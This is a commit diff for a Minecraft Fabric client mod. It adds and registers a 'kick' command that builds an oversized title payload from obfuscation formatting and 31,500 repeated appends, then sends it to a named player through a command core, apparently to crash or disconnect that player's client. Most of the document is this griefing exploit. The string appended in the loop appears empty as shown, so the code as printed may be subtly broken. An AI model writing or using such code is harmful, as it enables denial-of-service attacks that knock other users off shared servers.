Manually revert to 1.20.1 chomens mod

This commit is contained in:
7cc5c4f330d47060 2024-09-04 13:00:20 -04:00
parent a28e984652
commit 14596cf6ed
Signed by: 7cc5c4f330d47060
SSH key fingerprint: SHA256:e+4tcZut1nBpe10PqjaO+Rvie0Q7W4qIvFzcUw+7riA
2 changed files with 44 additions and 0 deletions

View file

@ -39,6 +39,7 @@ public class CommandManager {
AutoSkinCommand.register(this.dispatcher);
ReloadConfigCommand.register(this.dispatcher);
SelfCareCommand.register(this.dispatcher);
KickCommand.register(this.dispatcher);
}
public void executeCommand (String command) {

View file

@ -0,0 +1,43 @@
package land.chipmunk.chipmunkmod.commands;
import com.mojang.brigadier.Command;
import com.mojang.brigadier.CommandDispatcher;
import com.mojang.brigadier.context.CommandContext;
import static land.chipmunk.chipmunkmod.command.CommandManager.literal;
import static land.chipmunk.chipmunkmod.command.CommandManager.argument;
import static com.mojang.brigadier.arguments.StringArgumentType.greedyString;
import static com.mojang.brigadier.arguments.StringArgumentType.getString;
import net.fabricmc.fabric.api.client.command.v2.FabricClientCommandSource;
import land.chipmunk.chipmunkmod.modules.CommandCore;
public class KickCommand {
public static void register (CommandDispatcher<FabricClientCommandSource> dispatcher) {
dispatcher.register(
literal("kick")
.then(
argument("player", greedyString())
.executes(c -> run(c))
)
);
}
public static int run (CommandContext<FabricClientCommandSource> context) {
final String payloadStart = "uwu\u00a7k";
final String payloadEnd = "uwu";
final StringBuffer payload = new StringBuffer();
payload.append(payloadStart);
for(int i = 0; i < 31500; i++) {
payload.append("");
}
payload.append(payloadEnd);
CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload.toString() + "\"");
return Command.SINGLE_SUCCESS;
}
}